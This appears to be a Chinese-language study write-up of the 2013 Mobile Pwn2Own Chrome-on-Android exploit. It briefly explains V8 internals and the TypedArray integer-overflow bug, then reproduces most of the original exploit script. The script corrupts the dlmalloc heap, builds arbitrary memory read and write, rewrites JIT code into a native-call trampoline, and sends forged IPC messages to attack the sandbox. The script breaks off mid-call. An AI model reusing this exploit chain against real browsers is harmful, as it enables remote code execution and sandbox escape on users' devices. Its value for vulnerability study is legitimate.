case study:Mobile PWN2OWN Autumn 2013 - Chrome on Android - Exploit Writeup

参考资料

https://docs.google.com/document/d/1tHElG04AJR5OR2Ex-m_Jsmc8S5fAbRB3s4RmTG_PFnw/edit
http://cygx.mydns.jp/blog/?arti=527

前置知识

从exploit的角度来看,它们都不是那么重要,但是最好从源码上了解

  • Handle/HandleScope
  • Context
  • Isolate
  • Platform
  • Interpreter
  • blob
  • ICU
  • third_party
  • tools

参考资料:https://github.com/v8/v8/wiki/Embedder's-Guide

Handle/HandleScope

  • Handle
    • 要启用GC跟踪,指针包装类型
      • 为了对应任何类型的指针,请使用C++模板
      • 在源代码中,所有Object都使用此Handle类型进行管理
      • GC有可能移动Object的位置

        即使GC移动该Object,由于handle不移动,所以没有不一致
    • 常用Handle
      • Handle
        • Abstract class
      • Local
        • Temporary Handle, 保留在stack上
        • 使用后面将介绍的HandleScope进行生命周期管理
      • MaybeLocal
        • 它与Local相同,但在使用前检查它是否为空
      • Persistent
        • 一个persistent Handle,保留在heap上
        • 代码编写器使用Persistent::Reset()管理生命周期
  • HandleScope
    • handle总结
      • Temporary Handle such as Local , MaybeLocal
      • 在声明HandleScope时,块中的每个handle都会自动关联
    • 当HandleScope超出范围时,它会处理释放handle
      • 返回函数时,结束{}时,等
      • 用所有使用的handle来描述释放处理是低效的
      • 使用HandleScope的析构函数,GC负责实际的释放处理
    • 参考以下的文件
      • include/v8.h,src/handles.h

Context

  • 在一个V8实例中创建多个执行环境的机制
    • 您可以在一个线程中同时运行彼此独立的JavaScript代码
  • 每个Context对象都有一个全局的Root-Object


左边:每个context都有一个Root-Object,并且彼此独立(在本例中,context是嵌套的,但Root-Object正确切换)
右边:总之,它实现了环境的切换。 我们希望分别通过window,iframe和extended script来独立保护环境。所谓的origin也是在Context中定义的,并且从一个Context到另一个Context的访问不能被默认完成。

Isolate

  • Instance of V8 itself
    • context是在同一个instance中实现不同的执行环境
    • 当你想运行自己的多个instance时使用Isolate
      • 为了适应多线程

Platform

  • It seems to define the operating environment (it seems)
    • 线程相关
      • 决定后台线程和前台线程
      • 管理线程池
    • 任务队列管理
    • 事件追踪

源码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
[src/v8/src/runtime.cc]
RUNTIME_FUNCTION(MaybeObject*, Runtime_TypedArrayInitializeFromArrayLike)
...
size_t byte_length = length * element_size;//integer overflow

if (byte_length < length) {
return isolate->Throw(*isolate->factory()->
NewRangeError("invalid_array_buffer_length",
HandleVector<Object>(NULL, 0)));
}

if (!Runtime::SetupArrayBufferAllocatingData(
isolate, buffer, byte_length, false)) {
return isolate->Throw(*isolate->factory()->
NewRangeError("invalid_array_buffer_length",
HandleVector<Object>(NULL, 0)));
}//The overflowed byte_length is passed to Runtime::SetupArrayBufferAllocatingData
// which allocates the undersized buffer and initialises a V8 JSArrayBuffer object to point to it.

holder->set_buffer(*buffer);
holder->set_byte_offset(Smi::FromInt(0));
Handle<Object> byte_length_obj(
isolate->factory()->NewNumberFromSize(byte_length));
holder->set_byte_length(*byte_length_obj);
holder->set_length(*length_obj);
holder->set_weak_next(buffer->weak_first_view());
buffer->set_weak_first_view(*holder);

Handle<ExternalArray> elements =
isolate->factory()->NewExternalArray(
static_cast<int>(length), array_type,
static_cast<uint8_t*>(buffer->backing_store()));
holder->set_elements(*elements);
//This JSArrayBuffer is then pointed to by a JSTypedArray for the Float64
//type which uses the original length property of the arrayLike object (which is in 8 byte units,
// not bytes) to create an ExternalArray that will actually be used to manipulate the
//underlying ArrayBuffer memory from javascript.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
ArrayBuffer* V8ArrayBuffer::toNative(v8::Handle<v8::Object> object)
{
...
v8::ArrayBuffer::Contents v8Contents = v8buffer->Externalize();

ArrayBufferContents contents(v8Contents.Data(), v8Contents.ByteLength(),
V8ArrayBufferDeallocationObserver::instanceTemplate());

RefPtr<ArrayBuffer> buffer = ArrayBuffer::create(contents);

V8DOMWrapper::associateObjectWithWrapper<V8ArrayBuffer>(buffer.release(), &wrapperTypeInfo, object, v8::Isolate::GetCurrent(), WrapperConfiguration::Dependent);
...
static void bufferData1Method(const v8::FunctionCallbackInfo<v8::Value>& info)
{
...
V8TRYCATCH_VOID(ArrayBuffer*, data, info[1]->IsArrayBuffer() ? V8ArrayBuffer::toNative(v8::Handle<v8::ArrayBuffer>::Cast(info[1])) : 0);
...
imp->bufferData(target, data, usage);
}

回调

obj.__defineGetter__(property, func)
The square bracket array syntax (eg: foo[1]) when applied to regular javascript objects is also just reading a property, even if the property is a number this will still invoke a getter if one has been defined.

需要调试的

backing store

  • Uint8
    meta 0x13381

    1
    2
    3
    4
    5
    6
    7
    8
    var t_arr=new Uint8Array(0x13370);
    t_arr[0]=1;
    t_arr[1]=2;
    t_arr[2]=3;
    t_arr[3]=4;

    %DebugPrint(t_arr)
    while(1);
  • Float64

    meta 0x9a002

    1
    2
    3
    4
    5
    6
    7
    8
    var t_arr=new Float64Array(0x13370);
    t_arr[0]=1.0;
    t_arr[1]=2.0;
    t_arr[2]=3.0;
    t_arr[3]=4.0;

    %DebugPrint(t_arr)
    while(1);

其他需要调试的

1
2
3
4
5
6
7
8
9
10
11
12
13
function initialOverwrite() {
var arrays = new Array(300);
var arraysI = 0;
function createArray(byteSize, num) {
var a = new Uint8Array(byteSize);
for(var i = 0; i < byteSize; i++) {
a[i] = 0x42;
}
arrays[arraysI++] = a;
}
for(var i = 0; i < arrays.length; i++) {
createArray(0x20000);
}

思路,调试到backstore,看一下页分布?

log

  1. 因为我们知道如果相乘溢出,它会溢出到数组长度以下,有没有问题?
    曾经有一段时间我这么认为。但是,在某些情况下它会溢出,但是绕过判断。
    例如,0x24924924(length) float64(8字节)在32位环境中受到保护。
    然后byte_length溢出,byte_length = 0x24924924 * 8 = 0x124924928 -> 0x24924928
    但在32位环境中它不满足byte_length < length,并将通过检查。
  1. 修改大小并free chunk(j)之后用WTF::ArrayBuffer占位

  2. all the ArrayBuffer structures we’ve seen up until now (apart from the actual backing buffer) have been in the V8 GC heap whereas the memory corruption is happening in the dlmalloc heap.

  3. Well, from here on, we prepare to execute arbitrary code (prepareForCalls).
    We also make WTF :: DataView and read its vtbl. Then, since you know the position of .text, search for gadget (code fragment) calling dlsym from there. Follow PLT (Procedure Linkage Table) and load the thread_datatable pointer of v8. Then you follow the structure and you will know the position of JS’s heap. There is also rwx JITed code storage. Then eval the function that generates dummy findable code, find the JIT machine code, and rewrite it to trampoline. Trampoline is a piece of code that calls a function by writing the value written in callbuf back to the register so that you can call any native function or systemcall with arbitrary argument using the function on JS! The attacker could now completely control the inside of the sandbox.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
<a href="?">---------</a>
<script>
var time = '?' + Math.floor(new Date().getTime() / 1000);
if((window.location + '').indexOf(time) == -1) {
window.location = time;
throw 'no';
}
alert('Ready.\nThis is a Slow Exploit.');


function crash() {
var nooo = [];
while(1)
nooo.push(new ArrayBuffer(0x10000000));
}


//alert = print;



// 强制将ArrayBuffer转换为native wrapper,用于后面修改其长度

// This WebGL stuff is just to force an ArrayBuffer or ArrayBufferView to
// create a native wrapper, hopefully without allocating anything else (to
// simplify assumptions).
var canvas = document.createElement('canvas');
gl = canvas.getContext("webgl") || canvas.getContext("experimental-webgl");
if(!gl) {
alert('no webgl');
throw '';
}
var ext = gl.getExtension('WEBGL_lose_context');
if(!ext) {
alert('no lose_context');
throw '';
}
ext.loseContext();


function force(buffer) {
gl.bufferData(0, buffer, 0);
}
// ---


var thingiesToFree = [];
var buffersToForce = [];
var buffersToForceEarly = [];
var viewsToForceEarly = [];
for(var i = 0; i < 1000; i++) {
buffersToForce.push(new ArrayBuffer(4097));
for(var j = 0; j < 3; j++) {
var buf = new ArrayBuffer(0x52);
force(buf);
buffersToForceEarly.push(buf);
var view = new DataView(buf, 0, 0x51);
force(view);
viewsToForceEarly.push(view);
}
thingiesToFree.push([]);
}


var hexChars = '0123456789abcdef';
function asHex(num, len) {
var s = '';
if(len === undefined)
len = Math.ceil(Math.log(num)/Math.log(16));
for(var i = len - 1; i >= 0; i--) {
s += hexChars[(num >> (4 * i)) & 0xf];
}
return s;
}


function hexDump(off, len) {
var s = '';
for(var i = off; i < off + len; i++) {
if(i % 0x10 == 0) {
if(i != off) s += '\n';
s += '+' + asHex(i, 8) + ':';
}
s += ' ' + asHex(read8(i), 2);
}
return s;
}
function pre(s) {
var el = document.createElement('pre');
el.innerHTML = s;
document.documentElement.appendChild(el);
}


function sniffAroundInHeap(buffer) {
alert('+1');
var ary = new Uint32Array(buffer, 0, 0x10000);
//ary[0x7eadbeef];
var haveVtable = false, haveBuffers = 0;
for(var i = 0; i < ary.length; i++) {
if(!haveVtable && ary[i] == 0x51) {
// this is DataView+0x20, from which we get the vtable
vtable = ary[i - 0x20/4];
//alert('vtable = ' + vtable);
haveVtable = true;
}
if(haveBuffers < 2 && ary[i] == 0x52) {
// this is ArrayBuffer+8, from which we create predictable windows
// onto memory Why does changing this number affect behavior (v8
// crashes in ShortCircuitConsString in the garbage collector)?
if(haveBuffers == 0) {
callbuf = ary[i-1];
ary[i-1] = 0x100;
ary[i] = 0x7fffffff;
} else {
ary[i-1] = 0x80000000;
ary[i] = 0x7ffffffe;
}
haveBuffers++;
}
if(haveVtable && haveBuffers == 2) {
launderBuffers(buffersToForceEarly, 'savedBuffersToForceEarly', prepareForCalls);
return true;
}
}
alert("didn't find the things");
crash();
return true;
//hexDump(ary, 0, 0x10000);
}

//更新wrapper的长度为memory corrupted的长度
function launderBuffers(origBuffers, prop, callback) {
// Need to get new V8 wrappers that reflect the native object's new
// m_sizeInBytes
// alert('launderBuffers - ' + buffersToForce.length);
// N.B. this doesn't work with MessageChannels for some reason - the
// ArrayBuffers become null. My fault or a bug?
window.onmessage = function(e) {
try {
//alert('onmessage');
var buffers = e.data;
window[prop] = buffers;
for(var i = 0; i < buffers.length; i++) {
var buffer = buffers[i];
if(buffer.byteLength >= 0x7ffffffe) {
//alert('buffer ' + i + '.length = ' + buffer.byteLength);
if(callback(buffer))
return;
}
}
alert('no good buffers found - ' + prop);
crash();
} catch(e) {
alert('lB exception: ' + e + '\n' + e.stack);
crash();
}
}
window.postMessage(origBuffers, '*', origBuffers);
}


function replaceWithWTFArrayBuffer(arrays, j) {
var nextOff = 0x20 - 8;
// next should have CINUSE and PINUSE set
arrays[j][nextOff + 4] = 0x3;
// now free it
arrays[j] = null;
thingiesToFree = null;
var thingiesToMake = [];
for(var i = 0; i < buffersToForce.length; i++) {
force(buffersToForce[i]);
// try unnecessarily hard to cause a GC
for(var k = 0; k < 1000; k++) {
thingiesToMake.push([]);
}
}
// time to keep overwriting starting at the WTF::ArrayBuffer + 8
}


function initialOverwrite() {
var arrays = new Array(300);
var arraysI = 0;
function createArray(byteSize, num) {
var a = new Uint8Array(byteSize);
for(var i = 0; i < byteSize; i++) {
a[i] = 0x42;//分配给a byteSize字节,并用B填充它。
}
arrays[arraysI++] = a;
}


// Here's the actual v8 vulnerability in this complicated thing.
// Runtime_TypedArrayInitializeFromArrayLike checks for the lack of
// multiplicative overflow with 'length * element_size < length'.
// 0x24924925 is 2^32/7 + 1, the smallest number for which this check
// passes, yet there was in fact overflow.
var bad = (0x24925000 - 8) / 8;
var hugetempl = {
//length: 0x4924924,
length: 0x24924925,
/*
i: 76696062,
get 76696062() {
*/
i: 0,
get 0() {
//alert('creating pages');
for(var i = 0; i < arrays.length; i++) {
createArray(0x20000);
}
//alert('done');
}
};
var j = 0;
hugetempl.__defineGetter__(bad, function() {
// prev: whatever
// head: 0x20 | PINUSE_BIT(1) | CINUSE_BIT(2)
return 7.611564664e-313;//deadbeef 00000023,覆盖chunk的meta data,将其size由0x20000改为0x20。
//在free之后,就会插入0x20 byte free-list的头部
});//一页的最后
var foundIt = false;
hugetempl[bad + 1] = 2261634.5098039214; // overwrites
/*
在相邻的下一页开始的地方
u2d
sakura@sakuradeMacBook-Pro:~$ ./u2d 2261634.5098039214
########## mode2 ###########
表示变换:(ull/ui -> double/float)
2261634.5098039214(2.261634509803921e+06 ) --d2ull-> 0x4141414141414141
*/
the beginning of the array
hugetempl.__defineGetter__(bad + 2, function() {
for(var j = 0; j < arraysI; j++) {
if(arrays[j][0] != 0x42) {
//alert('<- ' + j + ': ' + arrays[j][0]);
replaceWithWTFArrayBuffer(arrays, j);
foundIt = true;
// m_sizeInBytes=2^31-1 m_deallocationObserver=null
// can't go higher because it gets treated as signed
return 1.060997895e-314;
//0.0000000000(1.060997894988571e-314) --d2ull-> 0x000000007fffffff
}
}
alert('No good. Crashing Chrome for another try...');
crash();
});
hugetempl.__defineGetter__(bad + 3, function() {
throw 'ok';
});


try {
var huge = new Float64Array(hugetempl);//->触发
} catch(e) {
if(e == 'ok') return;
throw e;
}
}


var lowView = null, highView = null;


function rfunc(prop) {
return new Function('a',
'if(a >= 0x80000000) ' +
'return highView.' + prop + '(a - 0x80000000, true);' +
'else ' +
'return lowView.' + prop + '(a - 0x100, true);');
}
function wfunc(prop) {
return new Function('a', 'v',
'if(a >= 0x80000000) ' +
'highView.' + prop + '(a - 0x80000000, v, true);' +
'else ' +
'lowView.' + prop + '(a - 0x100, v, true);');
}
var read32 = rfunc('getUint32');
var read8 = rfunc('getUint8');
var write8 = wfunc('setUint8');
var write32 = wfunc('setUint32');


function find(start, step, words) {
var first = words[0], second = words[1];
outer:
for(var a = start; ; a += step) {
if(read32(a) == first && read32(a+4) == second) {
for(var j = 2; j < words.length; j++) {
if(read32(a + j*4) != words[j])
continue outer;
}
return a;
}
}
}


function blxDest(addr) {
var val = read32(addr);
var s = (val & 0x400) >> 10;
var i1 = 1 - (((val & 0x20000000) >> 29) ^ s);
var i2 = 1 - (((val & 0x8000000) >> 27) ^ s);
var i10h = val & 0x3ff;
var i10l = (val & 0x7fe0000) >> 17;
var off = ((s * 0xff) << 24) | (i1 << 23) | (i2 << 22) | (i10h << 12) | (i10l << 2);
return ((addr + 4) & ~3) + off;
}


function ldrDest(addr) {
return ((addr + 4) & ~3) + 4 * read8(addr);
}


function ldrAddPCDest(addr) {
return addr + 2 + 4 + read32(ldrDest(addr));
}




function copystr(p, s) {
for(var i = 0; i < s.length; i++)
write8(p + i, s.charCodeAt(i));
write8(p + i, 0);
}


NEGONE = 0xffffffff;
function call(func, a1, a2, a3, a4, a5, a6, a7, a8) {
assert(func);
write32(callbuf + 0x00, a5);
write32(callbuf + 0x04, a6);
write32(callbuf + 0x08, a7);
write32(callbuf + 0x0c, a8);
write32(callbuf + 0x10, a1);
write32(callbuf + 0x14, a2);
write32(callbuf + 0x18, a3);
write32(callbuf + 0x1c, a4);
write32(callbuf + 0x20, func);
deadfunc({});
return read32(callbuf + 0x24);
}


function prepareForCalls(buffer) {
var dv = new DataView(buffer, 0, buffer.byteLength);
if(buffer.byteLength == 0x7fffffff) {
lowView = dv;
} else {
highView = dv;
}
if(!(lowView && highView)) return false;
alert('+2');
var text = read32(vtable + 8);
var dlsymmer = find((text & ~1) + 0x900000, 2,
[0x46204798, 0xc0d6f59c, 0x4038e8bd, 0xb9ddf000, 0x0422bf00]);
dlsym_addr = blxDest(dlsymmer - 0x10);




// This thing is probably the easiest way to be able to call functions with
// arbitrarily many arguments. It may turn out to be unnecessary if none
// of the functions use that many arguments, but whatever...


var tdter = find(dlsymmer, 2, [0x0058f645, 0x601a6016]);
var thread_data_table_ptr = ldrAddPCDest(tdter - 6);
//alert('tdter:' + asHex(tdter) + ' tdt:' + asHex(thread_data_table_));
var thread_data_table_ = read32(thread_data_table_ptr);
var list_ = read32(thread_data_table_);
var isolate_ = read32(list_);
var heap_ = isolate_ + 8;
var lo_space_ = read32(heap_ + 0x598); /* ! */
var a = 'eval("");';
for(var i = 0; i < 40000; i++) a += 'a.a;'
a += 'return 42;';
deadfunc = new Function('a', a);
deadfunc({});
var first_page_ = read32(lo_space_ + 0x14);
var area_start_ = read32(first_page_ + 0x10), area_end_ = read32(first_page_ + 0x14);
//alert('los=' + asHex(lo_space_) + ' code=' + asHex(code));


/*
00000000 e92d4030 push {r4, r5, lr}
00000004 e59f5020 ldr r5, [pc, #32] ; 0x2c
00000008 e8b5000f ldm r5!, {r0, r1, r2, r3}
0000000c e92d000f push {r0, r1, r2, r3}
00000010 e8b5001f ldm r5!, {r0, r1, r2, r3, r4}
00000014 e12fff34 blx r4
00000018 e5850000 str r0, [r5]
0000001c e8bd403f pop {r0, r1, r2, r3, r4, r5, lr}
00000020 e3a00000 mov r0, #0 ; 0x0
00000024 e3a01000 mov r1, #0 ; 0x0
00000028 e12fff1e bx lr
*/
var insts = [0xe92d4030,0xe59f5020,0xe8b5000f,0xe92d000f,0xe8b5001f,0xe12fff34,0xe5850000,0xe8bd403f,0xe3a00000,0xe3a01000,0xe12fff1e, callbuf];
for(var a = area_start_; a < area_end_; a += 4) {
if((read32(a) & 0xffff0000) == (0xe92d0000 | 0)) {
for(var i = 0; i < insts.length; i++)
write32(a + i * 4, insts[i]);
var end = a + insts.length * 4;
insts[insts.length - 1] = callbuf + 0x28;
for(var i = 0; i < insts.length; i++)
write32(end + i * 4, insts[i]);
bxlr = end - 8;
stub2 = end;
break;
}
}
if(a == area_end_) {
alert("didn't find push area=" + first_page_);
crash();
}
write32(callbuf + 0x20, bxlr);
while(deadfunc({}) == 42);
//alert('OK');
theFunPart();


return true;
}


function assert(x) {
if(!x) {
var errno = read32(call(funcs.__errno));
throw new Error('Assertion failed; errno = ' + errno);
}
}


xerr = null;
function xassert(x) {
if(!x && !xerr) {
xerr = new Error('Assertion failed');
}
}


function MInt(x) {
return {
w: function(buf) {
write32(buf.addr, x);
buf.addr += 4;
},
r: function(buf) {
buf[x] = read32(buf.addr);
buf.addr += 4;
}
};
};


function MFileDesc(x) {
return {
r: function(buf) {
var valid = read32(buf.addr);
var idx = read32(buf.addr + 4);
buf.addr += 8;
assert(valid);
assert(idx < buf.fds.length);
buf[x] = buf.fds[idx];
}
};
}


function messageSend(routing, type) {
var base = scratch + 0x100;
var buf = {addr: base + 4};
MInt(routing).w(buf);
MInt(type).w(buf);
var flags = 0x80000002, num_fds = 0;
MInt(flags).w(buf);
MInt(num_fds).w(buf);
var payload_start = buf.addr;
for(var i = 2; i < arguments.length; i++)
arguments[i].w(buf);
var payload_size = buf.addr - payload_start;
write32(base, payload_size);


assert(call(funcs.send, pipe_, base, buf.addr - base, 0) == buf.addr - base);
}


log = '';
function messageReceive(types) {
var n = 50;
while(n--) {
var base = scratch + 0x100;
call(funcs.memset, base, 0xee, 0x200);
var len = call(funcs.recv, pipe_, base, 4, 0) | 0;
assert(len == 4);
var msg = {base: base, addr: base};
MInt('payload_size').r(msg);
var len = msg.payload_size + 0x10;
assert(len < 0x1fc);
assert(call(funcs.recv, pipe_, msg.addr, len, 0) == len);
readArgs(msg,
MInt('routing'),
MInt('type'),
MInt('flags'),
MInt('num_fds'));
if(msg.num_fds > 0) {
msg.fds = [];
var msghdr = scratch + 0xc00;
var iov = scratch + 0xc20;
var control = scratch + 0xc40;
write32(msghdr + 0x00, 0); // msg_name
write32(msghdr + 0x04, 0); // msg_namelen
write32(msghdr + 0x08, iov); // msg_iov
write32(msghdr + 0x0c, 1); // msg_iovlen
write32(msghdr + 0x10, control); // msg_control
write32(msghdr + 0x14, 0x100); // msg_controllen
write32(msghdr + 0x18, 0); // msg_flags
write32(iov + 0, scratch + 0xc28); // iov_base
write32(iov + 4, 1); // iov_len
assert(call(funcs.recvmsg, fd_pipe_, msghdr, 0) == 1);


var controllen = read32(msghdr + 0x14);
for(var cmsg = control; cmsg < control + controllen; cmsg += (cmsg_len + 3) & ~3) {
var SOL_SOCKET = 1;
var SCM_RIGHTS = 1;
var cmsg_len = read32(cmsg);
var cmsg_level = read32(cmsg+4);
var cmsg_type = read32(cmsg+8);
if(cmsg_level == SOL_SOCKET && cmsg_type == SCM_RIGHTS) {
for(var o = 0xc; o < cmsg_len; o += 4)
msg.fds.push(read32(cmsg + o));
}
}
assert(msg.fds.length == msg.num_fds);
}


if(types.indexOf(msg.type) == -1) {
if(msg.type != 0x00010520)
log += 'spurious ' + asHex(msg.type) + '\n';
continue;
}
return msg;
}
throw new Error("didn't receive desired message(s)");
}


function readArgs(msg) {
for(var i = 1; i < arguments.length; i++)
arguments[i].r(msg);
}


function messageReceiveDone(msg) {
var end = msg.addr;
var true_end = msg.base + 20 + msg.payload_size;
if(end != true_end)
throw new Error('extra bytes: ' + (true_end - end));
}


function setNonblock(fd, on) {
var F_SETFL = 4;
var O_NONBLOCK = 00004000;
assert(call(funcs.fcntl, fd, F_SETFL, on ? O_NONBLOCK : 0) == 0);
}


function theFunPart() {
// A lot of this is relatively unnecessary guesswork
// because I hate searching for symbols.
// pause the main thread
var SOL_SOCKET = 1;
var SO_TYPE = 3;
var syms = [
'getsockopt',
'write',
'send',
'recv',
'recvmsg',
'close',
'memset',
'malloc',
'__errno',
'fcntl',
'bsd_signal',
'tkill',
'getpid',
'gettid',
'futex',
'usleep',
'mmap',
'munmap',
'system'
];
funcs = {};
syms.forEach(function(sym) {
funcs[sym] = dlsym(sym);
});




scratch = call(funcs.malloc, 0x1000); // no real need for yet another buffer, but I don't want to break anything
assert(scratch);


var mypid = call(funcs.getpid), mytid = call(funcs.gettid);


var sockets = 0;
for(var fd = 5; fd < 100; fd++) {
write32(scratch + 0x78, 4);
if(call(funcs.getsockopt, fd, SOL_SOCKET, SO_TYPE, scratch + 0x74, scratch + 0x78) == 0) {
if(sockets == 2) {
fd_pipe_ = fd;
} else if(sockets == 7) {
pipe_ = fd;
break;
}
sockets++;
}
}
assert(fd != 100);
alert('+3');


// Block the IO thread (and all the other ones) for a moment


var SIGUSR2 = 12;
var FUTEX_WAIT = 0;
var FUTEX_WAKE = 1;
var myfutex = scratch;
assert(call(funcs.bsd_signal, SIGUSR2, stub2) != NEGONE);
write32(callbuf + 0x28 + 0x10, myfutex);
write32(callbuf + 0x28 + 0x14, FUTEX_WAIT);
write32(callbuf + 0x28 + 0x18, 0xffffffff);
write32(callbuf + 0x28 + 0x1c, 0);
write32(callbuf + 0x28 + 0x20, funcs.futex);
write32(myfutex, 0xffffffff);
for(var tid = mypid + 1; tid < mypid + 1000; tid++) {
if(tid == mytid) continue;
call(funcs.tkill, tid, SIGUSR2);
}


// In practice, this is quite predictable (+ no guards!) and nowhere
// near this many copies is actually necessary. But we do what we
// can...
var guessedAddress = 0xa0a0a0a0;


try {
var PINUSE_BIT = 1, CINUSE_BIT = 2;
var chunkSize = 0x68;
var fakeHead = chunkSize | PINUSE_BIT | CINUSE_BIT;
setNonblock(pipe_, false);
var fds = [];
for(var stream_id = 0; stream_id < 100; stream_id++) {
messageSend(0x7fffffff, 0x00250067, // AudioHostMsg_CreateStream
MInt(stream_id), // stream_id
MInt(0), // render_view_id
MInt(0), // session_id
// params
MInt(2), // format=AUDIO_PCM_FAKE
MInt(29), // channel_layout=CHANNEL_LAYOUT_DISCRETE
MInt(3000), // sample_rate
MInt(32), // bits_per_sample
MInt(192000), // frames_per_buffer
MInt(31), // channels
MInt(0)); // input_channels


var msg = messageReceive([
0x00250032, // AudioMsg_NotifyStreamCreated
0x00250053 // AudioMsg_NotifyStreamStateChanged
]);


if(msg.type == 0x00250032) {
readArgs(msg,
MInt('stream_id'),
MFileDesc('handle'),
MFileDesc('socket_handle'),
MInt('length'));
messageReceiveDone(msg);
//log += JSON.stringify(msg) + '\n';
var len = msg.length;
//log += 'len=' + len + '\n';


var PROT_READ = 1, PROT_WRITE = 2;
var MAP_SHARED = 1;


fds.push([msg.handle, len]);
var addr = call(funcs.mmap, 0, len, PROT_READ | PROT_WRITE, MAP_SHARED, msg.handle, 0, 0);
assert(addr != NEGONE);


// Sadly, there is no copy-on-write memcpy on Linux like
// vm_copy on OS X. Oh well, we have lots of RAM.
for(var i = guessedAddress & 0xfff; i < len; i += 0x1000) {
// head
write32(addr + i + 4, fakeHead);
// SharedMemory::mapped_file_ (ensures failure)
write32(addr + i + 8, NEGONE);
write32(addr + i + 4 + chunkSize, CINUSE_BIT | PINUSE_BIT);
}


// dunno if we have enough address space here
assert(call(funcs.munmap, addr, len) == 0);
} else {
readArgs(msg,
MInt('stream_id'),
MInt('new_state'));
messageReceiveDone(msg);
//log += '**' + JSON.stringify(msg) + '\n';
break;
}
}


log += 'got up to ' + stream_id + '\n';


// And here is the actual sandbox vulnerability. This is pretty dumb.
// This calls Map on the specified pointer, which should fail, then
// frees it, putting a free allocation in shared memory.


// Sidenote: It might be possible to use addresses in libchromeview to
// avoid the ASLR spamming. dlmalloc's free has a basic check for
// addresses being >= the first mmapped address, but I think
// libchromeview happens to be at such addresses. However, this is
// easier so who cares...


var CBF_SMBITMAP = 7;
messageSend(0x7fffffff, 0x001e0029, // ClipboardHostMsg_WriteObjectsAsync
MInt(1), // objects.size
MInt(CBF_SMBITMAP),
MInt(2), // params.size
MInt(4), // params[0].size
MInt(guessedAddress + 8), // params[0]
MInt(4), // params[1].size
MInt(0)); // params[1]


call(funcs.usleep, 8000);


var bucketStart;
fds:
for(var i = 0; i < fds.length; i++) {
var fd = fds[i][0], len = fds[i][1];
var addr = call(funcs.mmap, 0, len, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0, 0);
assert(addr != NEGONE);
for(var j = guessedAddress & 0xfff; j < len; j += 0x1000) {
if(read32(addr + j + 8) != NEGONE) {
assert(j + 0x1000 <= len); // too lazy to fix
bucketStart = addr + j;
break fds;
}
}
assert(call(funcs.munmap, addr, len) == 0);
}
assert(i != fds.length);


for(var bucketOff = 0x200; bucketOff < 0x1000; bucketOff += 0x100) {
// now that we know where it is, do more frees to decrease
// the chance of spurious allocations (this would probably
// be better redesigned, but whatever)
var bucket = bucketStart + bucketOff;
write32(bucket + 4, fakeHead);
// SharedMemory::mapped_file_ (ensures failure)
write32(bucket + 8, NEGONE);
write32(bucket + 4 + chunkSize, CINUSE_BIT | PINUSE_BIT);




messageSend(0x7fffffff, 0x001e0029, // ClipboardHostMsg_WriteObjectsAsync
MInt(1), // objects.size
MInt(CBF_SMBITMAP),
MInt(2), // params.size
